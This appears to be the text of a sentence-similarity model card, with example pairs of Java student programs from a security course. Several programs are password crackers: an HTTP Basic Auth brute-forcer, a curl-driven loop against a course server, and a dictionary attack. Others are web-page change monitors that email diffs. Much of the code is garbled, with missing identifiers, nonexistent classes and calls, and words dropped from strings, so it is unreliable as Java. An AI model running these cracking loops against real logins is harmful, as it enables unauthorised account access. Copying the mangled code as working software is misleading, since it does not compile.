        int i, j, k; 
        URL  = new URL(urlPath);
        String let1 = null;
        String let2 = null;
        String let3 = null;
        String usrName = "";
        String usrNamePwd = null;
        String encoding = null;
        boolean ok = false;

        connection = (HttpURLConnection).openConnection();        

      

        for(i=0; i<String.valueOf(letter).length(); i++) {
            let1 = String.valueOf(letter[i]);		

            usrNamePwd = usrName +":"+ let1;
            encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
            connection.setRequestProperty("Authorization", " " + encoding);

            System.out.println(let1);
            if(connection.getResponseCode() == 200){
                System.out.println("Password Found " +let1); 
                return true;
            }
            connection.disconnect();

            for(j=0; j<String.valueOf(letter).length(); j++) {
                let2 = let1 + letter[j];		

                usrNamePwd = usrName +":"+ let2;
                encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());

                connection = (HttpURLConnection).openConnection();
                connection.setRequestProperty("Authorization", " " + encoding);

                if(connection.getResponseCode() == 200){
                    System.out.println("Password Found " +let2);
                    return true;
                }
                connection.disconnect();

                System.out.println(let2);

                for(k=0; k<String.valueOf(letter).length(); k++) {
                    let3 = let2 + letter[k];             
                     
                    usrNamePwd = usrName +":"+ let3;
                    encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
 
                    connection = (HttpURLConnection).openConnection();
                    connection.setRequestProperty("Authorization", " " + encoding);

                    if(connection.getResponseCode() == 200){
                       System.out.println("Password Found " +let3);
                       return true;
                    }
           
                    connection.disconnect();
                    System.out.println(let3);
                    
                }
            }

        }

        System.out.println("Password not found" );
        return false;

    }



    public class  Base64Converter
    {

     public final char [ ]  alphabet = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
        '4', '5', '6', '7', '8', '9', '+', '/' }; 

     public String  encode ( String  s )
     {
        return encode ( s.getBytes ( ) );
     }

     public String  encode ( byte [ ]  octetString )
     {
        int  bits24;
        int  bits6;

       char [ ]  out
          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];

       int outIndex = 0;
        int i        = 0;

       while ( ( i + 3 ) <= octetString.length )
        {
          
          bits24  = ( octetString [ i++ ] & 0xFF ) << 16; 
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8; 
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0000003F );
          out [ outIndex++ ] = alphabet [ bits6 ]; 
        }

       if ( octetString.length - i == 2 )
        {
          
          bits24  = ( octetString [ i     ] & 0xFF ) << 16; 
          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ]; 
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ]; 
          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '='; 
        }
        else if ( octetString.length - i == 1 )
        {
          
          bits24 = ( octetString [ i ] & 0xFF ) << 16;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '='; 
          out [ outIndex++ ] = '='; 
        }

       return new String ( out );
      }

    }
    
}

, source_sentence: 




import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;



public class DictionaryPropertyHelper {

	private static Properties dictProps;



	public DictionaryPropertyHelper() {
	}


	
	public static String getProperty(String pKey){
		try{
			initProps();
		}
		catch(Exception e){
			System.err.println("Error init'ing the dictionary Props");
			e.printStackTrace();
		}
		return dictProps.getProperty(pKey);
	}


	private static void initProps() throws Exception{
		if(dictProps == null){
			dictProps = new Properties();

			InputStream fis =
				DictionaryPropertyHelper.class.getResourceAsStream("/dictionary.properties");
			dictProps.load(fis);
		}
	}
}


sentences: 

import java.net.*;
import java.io.*;
import java.String;
import java.*;
import java.util.*;

public class BruteForce {
  private static final int passwdLength = 3;      
  private static String commandLine
       = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
  private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  private int charLen = chars.length();           
  private int n = 0;                              
  private int n3 = charLen*charLen*charLen;       
  private String response;
  private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];
  private char[][] data = new char[passwdLength][charLen];
  private char[] pwdChar2 = new char[2];
  private char[] pwdChar = new char[passwdLength];
  private String url;
  private int startTime;
  private int endTime;
  private int totalTime;
  private float averageTime;
  private boolean finish;
  private Process curl;
  private BufferedReader bf, responseLine;

  public BruteForce() {

  first();
  finish = true;
  charLen = chars.length();
  for(int i=0; i<charLen; i++)
   for(int j=0; j<passwdLength; j++)
   {
    data[j][i] = chars.charAt(i);
   }
  Runtime run = Runtime.getRuntime();
  n = 0;

  
  for(int i=0; i<charLen; i++)
  {
    password[n++] = chars.substring(i,i+1);
  }

  
   for(int j=0; j<charLen; j++)
     for(int k=0; k<charLen; k++)
     {
       pwdChar2[0] = data[0][j];
       pwdChar2[1] = data[1][k];
       password[n++] = String.copyValueOf(pwdChar2);
     }

  
  for(int i=0; i<charLen; i++)
   for(int j=0; j<charLen; j++)
     for(int k=0; k<charLen; k++)
     {
       pwdChar[0] = data[0][i];
       pwdChar[1] = data[1][j];
       pwdChar[2] = data[2][k];
       password[n++] = String.copyValueOf(pwdChar);
     }
  n = 0;
  startTime = new Date().getTime();         
  try {
   while(true) {
    url = commandLine+password[n++];
    if(n>=n3) {
     System.out.println("\n  not find the password for user .");
     finish = false;
     break;
    }
    curl = run.exec(url);                  
    responseLine = new BufferedReader(new InputStreamReader(curl.getInputStream()));
    response = responseLine.readLine();
    
    
    if(response.substring(9,12).equals("200")) break;
    responseLine = null;
   }
  }
  catch(IOException ioe){
    System.out.println("\n IO Exception! \n");
    System.out.println("The current url is:"+ url);
    System.out.println("The current trying password is:"+password[n-1]);
    finish=false;
  }

  endTime = new Date().getTime();          
  totalTime = (endTime-startTime)/1000;
  System.out.println("   The response time is:"+ totalTime + "  seconds\n");
  if(finish) {
    System.out.println("   The password for  is:"+ password[n-1]);
    try {
    savePassword(password[n-1], totalTime);
    }
    catch (IOException ioec) {
       System.out.println("  not save the password  file BruteForce_pwd.txt ");
    }
  }
  }

  public void first() {

    System.out.println("\n\n---------------------------------------------------------------");
    System.out.println("  Use curl command  Brute Force the password for user .");
    System.out.println("   Attention: curl should  able  run at your directory");
    System.out.println("          without setting the Path for it.");
    System.out.println("---------------------------------------------------------------");
  }


  public void savePassword(String passwdString, int time) throws IOException {
  DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("BruteForce_pwd.txt"));
  outputStream.writeChars("The password is:");
  outputStream.writeChars(passwdString+"\n");
  outputStream.writeChars("The response time is: ");
  outputStream.writeChars(time1.toString(time));
  outputStream.writeChars(" seconds\n");
  outputStream.close();
  }

  public static void main(String[] args) {
   new BruteForce();
  }  
}
, import java.io.*;
import java.util.*;
import java.text.*;


public class Dictionary 
{

    
    
    
    private int verbose = 0;
    private int scanType = CrackingConstants.casedScan;
    private boolean leftThreeCharsOnly = false;
    private boolean fullScan = false;

    
    
    
    
    
    
    
    
    private int passwordsTried = 0;
    private int uniqueLetterSequencesTried = 0;
	
	
	public static void main (String args[])
	{
		int tIni;
		int tFinish;
 		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
	    Dictionary  pwForcer = new Dictionary();
	        
	    if(0 < args.length)
	    {
	        for(int i = 0; i < args.length; i++)
	        {
        		if((args[i].indexOf("-h") > -1) || (args[i].indexOf("-H") > -1))
        		    {
        			System.out.println("\n-f  -F\tgenerates the three leftmost characters of the passwords as in -t/T \nbut also appends the rest of the string ( duplicate checking is  with this option).");
        			System.out.println("\n-s  -S\tonly tests lower  passwords.");
        			System.out.println("\n-t  -T\tonly  the three leftmost characters of the passwords.");
        			System.out.println("\n-v  -V\tprints the passwords as    tried.\n");
        			return;
        		    }	
        		else if((args[i].indexOf("-s") > -1) || (args[i].indexOf("-S") > -1))
        		    pwForcer.scanType = CrackingConstants.simpleScan;
        		else if((args[i].indexOf("-v") > -1)  || (args[i].indexOf("-V") > -1)) 
        		    pwForcer.verbose = CrackingConstants.verboseMode2;
        		else if((args[i].indexOf("-t") > -1) || (args[i].indexOf("-T") > -1))
        		    pwForcer.leftThreeCharsOnly = true;
        		else if((args[i].indexOf("-f") > -1) || (args[i].indexOf("-F") > -1))
        		    pwForcer.fullScan = true;
		    }
	    }
	        
	    
	    if (pwForcer.fullScan) 
	    	pwForcer.leftThreeCharsOnly = false;
	    
        
	    System.out.println("\n\n********************************\n");
		System.out.println("Starting dictionary run at " + 
		    longTimestamp.format(new Date()));
		if(0 < args.length)
		{
			String arguments = "";
			for( i =0; i < args.length; i++)
				arguments += args[i] + " ";
			System.out.println("\nOptions: " + arguments + "\n");
		}
	    if (pwForcer.leftThreeCharsOnly)
    	    System.out.println("Only the first three letters of each password   tried.");
		if(pwForcer.scanType == CrackingConstants.simpleScan)
    	    System.out.println("Only lower  passwords  tried.");
    	else
    	    System.out.println("Both lower and upper  passwords  tried.");
	    System.out.println("\n********************************\n");

	    tIni = System.currentTimeMillis();
	    pwForcer.run();
	    tFinish = System.currentTimeMillis();
	    
        if (CrackingConstants.casedScan == pwForcer.scanType)
        {
	        
    	    
	        
	        
	        System.out.println ("\n\n" + pwForcer.passwordsTried + " capitalized passwords were tried.");
	        System.out.println ("That is " + pwForcer.uniqueLetterSequencesTried  + " unique passwords were tried.");
	        
	        
        }
        else
        {
    	    System.out.println ("\n\n" + pwForcer.passwordsTried + " passwords were tried.\n");
    	    
	        System.out.println (pwForcer.uniqueLetterSequencesTried  + " unique passwords were tried.");
        }
        
	    
	    System.out.println("\n********************************\n");
		System.out.println("Finished dictionary run at " + 
		    longTimestamp.format(new Date()));
		System.out.println("Time taken: " + ((tFinish - tIni )/1000) + " seconds");
	    System.out.println("\n********************************");
	}   

	
    public Dictionary()
    {
    }   

	
    private void run()
    {
        
        
        String fileName = "/usr/share/lib/dict/words";
        
        LoginAttemptResults results = new LoginAttemptResults();
        LoginAttempt login = new LoginAttempt();
        
        CasePasswords casedPasswords = new CasePasswords(verbose);
        
        
        try
        {
            boolean found = false;
            
            int lineCount = 0;
            
            String password = null;
            String lastPassword = "";  
            BufferedReader in = new BufferedReader(new FileReader(fileName));
            
            while((null != (password = in.readLine())) && (!found))
            {
                
                lineCount++;
                
		        password = password.trim();
           	    
           	    if("" != password)
           	    {  
           	        if (leftThreeCharsOnly)
           	        {
                         leftIndex = -1;
                         midIndex = -1;
                         rightIndex = -1;
                        String tail = "";
                        
                        
                        
                        if(3 <= password.length())
                        {
                            if (!fullScan)
                	            
	        	                
    	                        
	    	                    if(lastPassword.equals(password.substring(0, 3).toLowerCase()))
    	                            continue;
        	                    else
            	                    lastPassword = password.substring(0, 3).toLowerCase();
                	        char [] passwordChars = password.toCharArray();
                            leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);
                            midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length);
                            rightIndex = CrackingConstants.findIndex(passwordChars[2], 0, CrackingConstants.lowerChars.length);
                            
                            
                            
	                        if ((3 < password.length() ) && (fullScan))
	                        	tail = password.substring(0, 3);
                        }
                        else if(2 == password.length())
                        {
                            if (!fullScan)
	                            
	                            if(lastPassword.equals(password.substring(0, 2).toLowerCase()))
    	                            continue;
        	                    else
            	                    lastPassword = password.substring(0, 2).toLowerCase();
                            char [] passwordChars = password.toCharArray();
                            leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);
                            midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length);
                        }
                        else if(1 == password.length())
                        {
                            if (!fullScan)
	                            
    	                        if(lastPassword.equals(password.substring(0, 1).toLowerCase()))
        	                        continue;
            	                else
                	                lastPassword = password.substring(0, 1).toLowerCase();
                            char [] passwordChars = password.toCharArray();
                            leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);
                        }
                        else
                        {
                            System.out.println("Empty password  from word file.");
                            continue;
                        }
                        
                        
                        if((CrackingConstants.notFound != rightIndex) && ((CrackingConstants.notFound == leftIndex) || (CrackingConstants.notFound == midIndex)))
                            continue;
                        if((CrackingConstants.notFound != midIndex) && (CrackingConstants.notFound == leftIndex))
                            continue;
                      	
                       	results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried);
                        found = results.getSuccess();
                        passwordsTried = results.getPasswordsTried();
                        uniqueLetterSequencesTried++;
           	        }
           	        else
           	        {
                        results = login.tryPasswords(casedPasswords.createCasedPasswords(password, scanType), passwordsTried);
                        found = results.getSuccess();
                        passwordsTried = results.getPasswordsTried();
                        uniqueLetterSequencesTried++;
                    }  
                }  
            }  
            in.print();
            
            
            
            
        }
        catch(FileNotFoundException e)
        {
            System.out.println("File " + fileName + " was not found  was unopenable.");
        }
        catch(IOException e)
        {
            System.out.println("Error " + e);
        }
     }   
     
    
} 
, 


import java.io.*;
import java.util.*;
import java.*;
import java.net.*;

public class WatchDog
{

   static Process p = null;
   static Process qproc = null;

   static BufferedReader bf = null;
   static StringTokenizer tok = null;

   static String Path = null;
   static String str = null;
   static String urlStr=null;
   static boolean changed = false;

   static File indexfile = new File("index.html");
   static File tmpfile = new File("tmpindex.html");
   static File mdfile = new File("md5file.txt");
   static File tmpmdfile = new File("tmpmd5file.txt");
   static PrintWriter mailwriter = null;


   public static void main (String[] args) 
   {

      urlStr = "http://www.cs.rmit.edu./";

      try
      {
         
         mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));

         getLatest(urlStr);
         parseFile(); 

         mailwriter.read();

         if(changed)
         {
            System.out.println("Sending Mail");
            p = Runtime.getRuntime().exec("./mailscript");
            p.waitFor();

         }
         else
            System.out.println(" mail sent");

      }  catch (IOException ioe)
         {
            System.out.println("IOException");
            ioe.printStackTrace();
         }
         catch (InterruptedException intex)
         {
            System.out.println("Interrupted Exception");
            intex.printStackTrace();
         }


   }


   static void getLatest(String urlStr)
   { 
      
      URL url = null;
      
      try
      {
         url = new URL(urlStr);

      } catch (MalformedURLException mfurl)
        {
           System.out.println("Malformed URL");
           mfurl.printStackTrace();
        }

      try
      {
         mailwriter.println();

         p = Runtime.getRuntime().exec("/usr//pwd"); 
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));

         Path=bf.readLine();

         if (indexfile.exists())
         {
            mailwriter.println("File with name 'index.html' found in directory.");
            mailwriter.println("Renaming existing 'index.html'  'tmpindex.html...");
            p = Runtime.getRuntime().exec("/usr//mv "+indexfile+ " " + Path+"/"+tmpfile);
            p.waitFor();
            p = Runtime.getRuntime().exec("/usr//mv "+mdfile+ " " + Path+"/"+tmpmdfile);
            mailwriter.println();
            mailwriter.println("File with name 'md5file.txt' found in directory.");
            mailwriter.print("Renaming existing 'md5file.txt'  'tmpmd5file.txt...");

            mailwriter.println(".");

            mailwriter.println();
         }

         mailwriter.println("Downloading current version of site - " + urlStr);
         p = Runtime.getRuntime().exec("/usr/local//wget "+url);
         p.waitFor();
         if (!tmpfile.exists())
         {
            mailwriter.println("File - " + urlStr + "index.html saved  disk for the first time.");
         }


      } catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (IndexOutOfBoundsException iobe)
        {
           System.out.println("Index Out Of Bounds Exception");
           iobe.printStackTrace();
        }
        catch (Exception e)
        {
           System.out.println("Exception");
           e.printStackTrace();
        }
   }

   static void parseFile()
   {

      Vector imgVect = new Vector();

      try
      {
         p = Runtime.getRuntime().exec("/usr//grep img " + Path + "/"+ indexfile);
         p.waitFor();
        bf = new BufferedReader(new InputStreamReader(
                          p.getInputStream()));

         while((str=bf.readLine())!=null)
         {
            bf = new StringTokenizer(str, "\"", false);
          
            while(bf.hasMoreTokens())
            {
               str=bf.nextToken();
               if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
                  imgVect.addElement(str);
            }
           
         }

      }catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (Exception e)
        {
           System.out.println("Exception");
           e.printStackTrace();
        }

        mailwriter.println("Creating file with md5sums of the webpage and images...");
        md5Create(imgVect);

   }

   static void md5Create(Vector imgVect)
   {
      String tmpString = null;
      Vector imgNames = new Vector();

      try
      {
         PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
 
         p=Runtime.getRuntime().exec("/usr/local//md5sum "+indexfile);
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));
         pr.println(bf.readLine());
   
         for(int i=0; i<imgVect.size();i++)
         {
            imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
            imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);

            p=Runtime.getRuntime().exec("/usr/local//md5sum "+(String)imgNames.elementAt(i));
            p.waitFor();
            bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));
            pr.println(bf.readLine());
            rmImgFile(Path+"/"+(String)imgNames.elementAt(i));
         }
         pr.get();

      }  catch (IOException ioe)
         {
            System.out.println("IOException");
            ioe.printStackTrace();
         }
         catch (InterruptedException intex)
         {
            System.out.println("Interrupted Exception");
            intex.printStackTrace();
         }

      if (tmpmdfile.exists())
         compVersions((imgVect.size())+1);

   }

   static void compVersions(int numlines)
   {

      int tmp = 0;
      int x = 0;
      String[] md5A = new String[numlines];
      Vector tmpmd5V = new Vector(); 
                                     
                                     
      String[] tmpmd5A = null;
      StringTokenizer stoken  = null;
      String mdImgName = null;
      String mdImgVal = null;
      String tmpImgName = null;
      String tmpImgVal = null;

      try
      {

         bf = new BufferedReader(new FileReader(mdfile));

         while((str = bf.readLine()) != null)
         {
            md5A[tmp]=str;
            tmp++;
         }

         bf = new BufferedReader(new FileReader(tmpmdfile));
         tmp=0;

         while ((str = bf.readLine()) !=null)
         {
            tmpmd5V.addElement(str);
            tmp++;
         }

         tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);   

         if (tmpmd5A[0].compareTo(md5A[0]) != 0)
         {
            mailwriter.println("---The file index.html has changed.---");
            mailwriter.println("-Diff of old and new -");
            changed=true;
            mailwriter.println();
            p=Runtime.getRuntime().exec("/usr/local//diff index.html tmpindex.html");
            p.waitFor();
             bf= new BufferedReader(new InputStreamReader(p.getInputStream()));

            while ((str = bf.readLine()) != null)
               mailwriter.println(str);

         }
         else
         {
            mailwriter.println("The file index.html hasn't changed.");
            mailwriter.println();
         }

         mailwriter.println();
         mailwriter.println("Changes  Images");
         mailwriter.println("-----------------");


         

         for (tmp=1; tmp<md5A.length; tmp++) 
         {
            stoken = new StringTokenizer(md5A[tmp]);
            mdImgVal = stoken.nextToken();
            mdImgName = stoken.nextToken();
            for (x=1; x<tmpmd5A.length; x++)
            {
               stoken = new StringTokenizer(tmpmd5A[x]);
               tmpImgVal = stoken.nextToken();
               tmpImgName = stoken.nextToken();

               if (mdImgName.compareTo(tmpImgName) == 0)
               {
                  if(mdImgVal.compareTo(tmpImgVal) == 0)
                  {
                     
                     break;
                  }
                  else
                  {
                     mailwriter.println("The image "+mdImgName+" has changed.");
                     changed=true;
                     break;
                  }
               }
               if (x == ((tmpmd5A.length)-1))
               {
                  mailwriter.println("The image "+mdImgName+" is  new  this ");
                  changed=true;
               }
            }
         }

         for (tmp=1; tmp<tmpmd5A.length; tmp++) 
         {
            stoken = new StringTokenizer(tmpmd5A[tmp]);
            tmpImgVal = stoken.nextToken();
            tmpImgName = stoken.nextToken();
            for (x=1; x<md5A.length; x++)
            {
               stoken = new StringTokenizer(md5A[x]);
               mdImgVal = stoken.nextToken();
               mdImgName = stoken.nextToken();
               if (tmpImgName.compareTo(mdImgName) == 0)
               {
                  break;
               }
               if (x == ((md5A.length)-1))
               {
                  mailwriter.println("The image "+tmpImgName+" is   longer  the ");
                  changed=true;
               }
            }
         }


      } catch(IOException ioe)
         {System.out.println("IOException");
          ioe.printStackTrace();
         }
        catch(InterruptedException iex)
         {System.out.println("Interrupted Exception");
         iex.printStackTrace();
         }

   }


   static Object getFullPath(String fname)
   {
      

      if(fname.charAt(0)== '/') 
         fname=urlStr+fname;  
      else if(fname.charAt(0) != 'h')
         fname=urlStr+'/'+fname;

      getImgFile(fname);

      return (Object)fname; 
   }

   static void getImgFile(String fullPath)
   {
      

      try
      {
         qproc=Runtime.getRuntime().exec("/usr/local//wget "+fullPath);
         qproc.waitFor();

      } catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (InterruptedException intex)
        {
           System.out.println("Interrupted Exception");
           intex.printStackTrace();
        }
   }

   static void rmImgFile(String delpath)
   {
      

      try
      {
         qproc=Runtime.getRuntime().exec("/usr//rm "+ delpath);
         qproc.waitFor();

      } catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (InterruptedException intex)
        {
           System.out.println("Interrupted Exception");
           intex.printStackTrace();
        }
   
   }

   static Object getImgNames(String prsName)
   {
          
  
      String str = new StringTokenizer(prsName, "/", false);

      while(str.hasMoreTokens())
      {
         str=bgf.nextToken();
         if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
            prsName=str;
      }
      return (Object)prsName;
   }
}
, source_sentence: 
import java.util.*;

public class WatchDog
{
   private Timer t;

   public WatchDog()
   {
     t  = new Timer();
      TimerTask task = new TimerTask()
      {
         public void run()
	 {
	    Dog doggy = new Dog();
	 }
      };
      
      t.schedule(task, 0, 86400000);
   }
   public static void main( String[] args)
   {
      WatchDog wd = new WatchDog();
   }
}

sentences: import	java.io.*;

class WatchDog {
    public static void main(String args[]) {
    
	    if (args.length<1)
	 {
       System.out.println("Correct Format Filename  email address <username@cs.rmit.edu.> of the recordkeeper"); 
        System.exit(1);	
	 }

	while (true)
		{
		
		
  FileInputStream stream=null;
  DataInputStream word=null;
  String input="   "; 


	try {


       String ls_str;
    
    	   
	  Process ls_proc = Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students");
   		try {
		Thread.sleep(2000);
		}catch (Exception e) {
    System.err.println("Caught ThreadException: " +e.getMessage());
	  }

		String[] cmd = {"//sh","-c", "diff Index2.html index.html >report.txt "};

	   ls_proc = Runtime.getRuntime().exec(cmd);
		          
			
			try {
		Thread.sleep(2000);
		}catch (Exception e) {
    System.err.println("Caught ThreadException: " +e.getMessage());
	  }
		
		
		
		if (ls_proc.exitValue()==2) 
		{
		  	   System.out.println("The file was checked for first time,  email sent");

           Process move = Runtime.getRuntime().exec("mv index.html Index2.html");
		   

		}
		else
		{

				stream = new FileInputStream ("report.txt"); 
				word =new DataInputStream(stream);


				if (word.available() !=0)
				{

					try
					{

					String[] cmd1 = {"//sh","-c","diff Index2.html index.html | mail "+args[0]};
					 Process proc = Runtime.getRuntime().exec(cmd1);
					 Thread.sleep(2000);
					Process move = Runtime.getRuntime().exec("mv index.html Index2.html");
					Thread.sleep(2000);
					System.out.println("Difference Found  , Email Sent");

					}
					catch (Exception e1) {
							System.err.println(e1);
							System.exit(1);
						
					  
						}
					 
	 
	 
				 }
				 else
					{
						   System.out.println(" Differnce Detected");


					}
		}
	}
	

	 catch (IOException e1) {
	    System.err.println(e1);
	    System.exit(1);
	
  
	}
try
{
word.close();
stream.close(); 
	
}
 
catch (IOException e)
{ 
System.out.println("Error in closing input file:\n" + e.toString()); 
} 
       	
try {
Thread.sleep(20000);  
    }
catch (Exception e) 
	{
System.err.println("Caught ThreadException: " +e.getMessage());
	}
		

        }   

	} 
	
   }, 



import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;




public class BruteForcePropertyHelper {

	private static Properties bruteForceProps;



	public BruteForcePropertyHelper() {
	}


	

	public static String getProperty(String pKey){
		try{
			initProps();
		}
		catch(Exception e){
			System.err.println("Error init'ing the burteforce Props");
			e.printStackTrace();
		}
		return bruteForceProps.getProperty(pKey);
	}


	private static void initProps() throws Exception{
		if(bruteForceProps == null){
			bruteForceProps = new Properties();

			InputStream fis =
				BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
			bruteForceProps.load(fis);
		}
	}
}

, import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Date;
import java.util.Properties;

import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.Message.RecipientType;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;




public class Mailsend
{
    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");
    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");
    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");
    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");


	

	public static void main(String args[])
	{
		try
		{
			
			String smtpServer = SMTP_SERVER;
			String recip = RECIPIENT_EMAIL;
			String from = SENDER_EMAIL;
			String subject = MESSAGE_HEADER;
			String body = "Testing";

			System.out.println("Started sending the message");
			Mailsend.send(smtpServer,recip , from, subject, body);
		}
		catch (Exception ex)
		{
			System.out.println(
				"Usage: java mailsend"
					+ " smtpServer toAddress fromAddress subjectText bodyText");
		}

		System.exit(0);
	}


	
	public static void send(String smtpServer, String receiver,	String from, String subject, String body)

	{
		try
		{
			Properties props = System.getProperties();

			

			props.put("mail.smtp.host", smtpServer);
			props.put("mail.smtp.timeout", "20000");
			props.put("mail.smtp.connectiontimeout", "20000");

			
			Session session = Session.getDefaultInstance(props, null);


			
			Message msg = new MimeMessage(session);

			
			msg.setFrom(new InternetAddress(from));
			msg.setRecipients(Message.RecipientType.NORMAL,	InternetAddress.parse(receiver, false));



			
			msg.setSubject(subject);

			msg.setSentDate(new Date());

			msg.setText(body);

			
			Transport.send(msg);

			System.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);

		}
		catch (Exception ex)
		{
			ex.printStackTrace();
		}
	}
}

pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 12
Created: 2025-06-11 15:59:58